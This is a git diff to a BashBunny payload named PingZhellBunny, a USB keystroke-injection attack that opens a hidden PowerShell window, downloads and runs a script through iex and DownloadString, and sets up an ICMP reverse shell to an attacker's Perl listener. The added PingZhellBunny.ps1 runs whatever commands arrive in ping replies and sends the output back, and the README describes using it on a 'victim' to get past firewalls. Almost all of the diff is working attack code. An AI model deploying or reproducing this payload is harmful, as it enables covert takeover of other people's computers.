diff --git a/payloads/library/remote_access/PingZhellBunny/Bunny.pl b/payloads/library/remote_access/PingZhellBunny/Bunny.pl index a00eb064..4bac2738 100644 --- a/payloads/library/remote_access/PingZhellBunny/Bunny.pl +++ b/payloads/library/remote_access/PingZhellBunny/Bunny.pl @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . # -# Modified by 0iphor13 for PingZhell +# Modified by 0iphor13 for PingZhellBunny # # # @@ -29,7 +29,7 @@ use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO); use Net::RawIP; use Fcntl; -print "Bunny waitin' for connection...\n"; +print "Loading PingZhellBunny...\n"; # create raw socket my $sock = IO::Socket::INET->new( @@ -40,8 +40,16 @@ my $sock = IO::Socket::INET->new( # set stdin to non-blocking fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; -print "Let's wait for PingZhell!\n"; +#Unnecessary print output - just for fun +sleep(2); +print ". .\n"; +sleep(1); +print ". . ."; +sleep(1); +print ". . . ."; +sleep(2); +print "PingZhellBunny client ready!\n"; my $input = ''; while(1) { if ($sock->recv(my $buffer, 4096, 0)) { diff --git a/payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 b/payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 deleted file mode 100644 index 2687d299..00000000 --- a/payloads/library/remote_access/PingZhellBunny/PingZhell.ps1 +++ /dev/null @@ -1,86 +0,0 @@ - -<# - -Original script by nishang - modified by 0iphor13 for PingZhell - -Use bunny.pl as a master - -When running the master, don't forget to disable ICMP replies by the OS. For example: -$: sysctl -w net.ipv4.icmp_echo_ignore_all=1 -Then: -$: perl bunny.pl - -Microsoft please don't block, oh dear microsoft corporation -#> - - - $IPAddress = 'Attacker-IP' - $Delay = 5 - $BufferSize = 128 - - #Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response - $ICMPClientsWalkinDownTheStreet = New-Object System.Net.NetworkInformation.Ping - $PingOptions = New-Object System.Net.NetworkInformation.PingOptions - $PingOptions.DontFragment = $True - $MicrosoftCopyright =@" - _______ ___ __ _ _______ _______ __ __ _______ ___ ___ -| | | | | | | | | | | | | | | -| _ | | |_| | ___|____ | |_| | ___| | | | -| |_| | | | | __ ____| | | |___| | | | -| ___| | _ | || | ______| | ___| |___| |___ -| | | | | | | |_| | |_____| _ | |___| | | -|___| |___|_| |__|_______|_______|__| |__|_______|_______|_______| - - -Windows PowerShell running as user $env:username on $env:computername `n -"@; - - # Copyright Copies Right - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($MicrosoftCopyright) - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - - #Does a german penguin just PingUin? - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ') - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - - while ($true) - { - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('') - $reply = $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) - - if ($reply.Buffer) - { - $response = ([text.encoding]::ASCII).GetString($reply.Buffer) - $result = (Invoke-Expression -Command $response 2>&1 | Out-String ) - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($result) - $index = [math]::floor($NeverGonnaGiveYouUp.length/$BufferSize) - $i = 0 - - #Fragmant larger output into smaller ones to send to the server. - if ($NeverGonnaGiveYouUp.length -gt $BufferSize) - { - while ($i -lt $index ) - { - $NeverGonnaGiveYouUp2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..(($i+1)*$BufferSize-1)] - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null - $i +=1 - } - $remainingindex = $NeverGonnaGiveYouUp.Length % $BufferSize - if ($remainingindex -ne 0) - { - $NeverGonnaGiveYouUp2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..($NeverGonnaGiveYouUp.Length)] - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp2, $PingOptions) | Out-Null - } - } - else - { - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 10000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - } - $NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ') - $ICMPClientsWalkinDownTheStreet.Send($IPAddress,60 * 1000, $NeverGonnaGiveYouUp, $PingOptions) | Out-Null - } - else - { - Start-Sleep -Seconds $Delay - } - } diff --git a/payloads/library/remote_access/PingZhellBunny/PingZhellBunny.ps1 b/payloads/library/remote_access/PingZhellBunny/PingZhellBunny.ps1 new file mode 100644 index 00000000..5f9ddbac --- /dev/null +++ b/payloads/library/remote_access/PingZhellBunny/PingZhellBunny.ps1 @@ -0,0 +1,10 @@ +$Delay=5; +$BufferSize=128; +$ICMPBunny=New-Object System.Net.NetworkInformation.Ping; +$PingBB=New-Object System.Net.NetworkInformation.PingOptions; +$PingBB.DontFragment = $True;$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes('Bunny@PS '+(gl).Path+'> '); +$ICMPBunny.Send($IP,60 * 1000, $NeverGonnaGiveYouUp, $PingBB) | Out-Null;while ($true){$NeverGonnaGiveYouUp=([text.encoding]::ASCII).GetBytes(''); +$reply=$ICMPBunny.Send($IP,60 * 1000, $NeverGonnaGiveYouUp, $PingBB);if ($reply.Buffer){$response=([text.encoding]::ASCII).GetString($reply.Buffer); +$result=(Invoke-eXprEssIon -Command $response 2>&1 | Out-String );$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes($result);$index=[math]::floor($NeverGonnaGiveYouUp.length/$BufferSize);$i = 0;if($NeverGonnaGiveYouUp.length -gt $BufferSize){while ($i -lt $index ){$NGGYU2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..(($i+1)*$BufferSize-1)];$ICMPBunny.Send($IP,60 * 10000, $NGGYU2, $PingBB) | Out-Null;$i +=1;}; +$remainingindex=$NeverGonnaGiveYouUp.Length % $BufferSize;if($remainingindex -ne 0){$NGGYU2 = $NeverGonnaGiveYouUp[($i*$BufferSize)..($NeverGonnaGiveYouUp.Length)];$ICMPBunny.Send($IP,60 * 10000, $NGGYU2, $PingBB) | Out-Null}}else{$ICMPBunny.Send($IP,60 * 10000, $NeverGonnaGiveYouUp, $PingBB) | Out-Null};$NeverGonnaGiveYouUp = ([text.encoding]::ASCII).GetBytes("`nO.MG@PS " + (pwd).Path + '> '); +$ICMPBunny.Send($IP,60 * 1000, $NeverGonnaGiveYouUp, $PingBB) | Out-Null}else{Start-Sleep -Seconds $Delay}} diff --git a/payloads/library/remote_access/PingZhellBunny/README.md b/payloads/library/remote_access/PingZhellBunny/README.md index ac8ccd9f..6b190001 100644 --- a/payloads/library/remote_access/PingZhellBunny/README.md +++ b/payloads/library/remote_access/PingZhellBunny/README.md @@ -1,19 +1,19 @@ **Title: PingZhellBunny** -Author: 0iphor13 +

Author: 0iphor13
+OS: Windows
+Version: 1.5
-Version: 1.3 - -What is PingZhellBunny? +**What is PingZhellBunny?** # *Imagine a scenario in which communication to and from the server is protected and filtered by a firewall and does not allow TCP shell communication to take place on any listening port (both reverse and bind TCP connection).* *But many environments allow ping requests to be sent and received. Ping requests work on the ICMP protocol.* *ICMP stands for Internet Control Message Protocol; it is used by network devices’ query and error messages. ICMP differs from the widely used TCP and UDP protocols because ICMP is not used for transferring data between network devices.* *When a device wants to test connectivity to another device, it uses the PING tool (ICMP communication) to send an ECHO REQUEST and waits for an ECHO RESPONSE.* -*The client ICMP agent (Bunny.pl) listens for ICMP packets from a specific host and uses the data in the packet for command execution.* -*The server ICMP Agent (Bunny.pl) sends ICMP packets to connect to the victim running a custom ICMP agent (PingZhell.ps1) and sends it commands to execute.* +*The client ICMP agent listens for ICMP packets from a specific host and uses the data in the packet for command execution.* +*The server ICMP agent (Bunny.pl) sends ICMP packets to connect to the victim running a custom ICMP agent (PingZhellBunny input) and sends it commands to execute.* # -There you go, a reverse shell. +There you go, a reverse shell without the usage of ports. **Instruction:** @@ -26,16 +26,16 @@ Install dependencies, if needed: Disable ICMP replies by the OS: `sysctl -w net.ipv4.icmp_echo_ignore_all=1` -Start Bunny.pl -> perl Bunny.pl -# -!!!Insert the IP of your attacking machine into PingZhell.ps1!!! -# -

Plug in Bashbunny with PingZhellBunny equipped.
+Start the client -> `perl Bunny.pl` + +

!!!Insert the IP of your attacking machine into the payload.txt variable $IP & Load PingZhellBunny.ps1 onto your Bunny!!!
+ +

Plug in your BashBunny.
Achieve reverse shell.
run away <3

Credit for code and ideas: - bdamele -- samratashok +- Nikhil Mittal - krabelize diff --git a/payloads/library/remote_access/PingZhellBunny/payload.txt b/payloads/library/remote_access/PingZhellBunny/payload.txt index 2b62fa78..2690061a 100644 --- a/payloads/library/remote_access/PingZhellBunny/payload.txt +++ b/payloads/library/remote_access/PingZhellBunny/payload.txt @@ -1,39 +1,44 @@ #!/bin/bash # # Title: PingZhellBunny -# Description: Get remote access using a icmp reverse shell. +# Description: Getting remote access via ICMP # Author: 0iphor13 -# Version: 1.3 +# Version: 1.5 # Category: Remote_Access -# Attackmodes: HID, Storage +# Attackmodes: HID, RNDIS_ETHERNET LED SETUP - -Q DELAY 500 +ATTACKMODE RNDIS_ETHERNET HID GET SWITCH_POSITION -DUCKY_LANG de +GET HOST_IP -Q DELAY 500 +cd /root/udisk/payloads/$SWITCH_POSITION/ -ATTACKMODE HID STORAGE +# starting server +LED SPECIAL -#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING +# disallow outgoing dns requests so the server is accessible immediately +iptables -A OUTPUT -p udp --dport 53 -j DROP +python -m SimpleHTTPServer 80 & -LED STAGE1 +# wait until port is listening +while ! nc -z localhost 80; do sleep 0.2; done -#After you have adapted the delays for your target, add "-W hidden" +#Opens hidden powershell instance Q DELAY 1500 -RUN WIN "powershell -Exec Bypass -NoP -NonI" +Q GUI r +Q DELAY 500 +Q STRING "powershell -NoP -NonI -w h" Q DELAY 500 Q ENTER -Q DELAY 1000 -Q STRING "iex((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\PingZhell.ps1')" -Q DELAY 3000 +Q DELAY 500 + +#Insert attacking IP +Q STRING "\$IP = '0.0.0.0';" +Q DELAY 250 +Q STRING "iex (New-Object Net.WebClient).DownloadString(\"http://$HOST_IP/PingZhellBunny.ps1\")" +Q DELAY 400 Q ENTER -Q DELAY 1000 - -ATTACKMODE HID - LED FINISH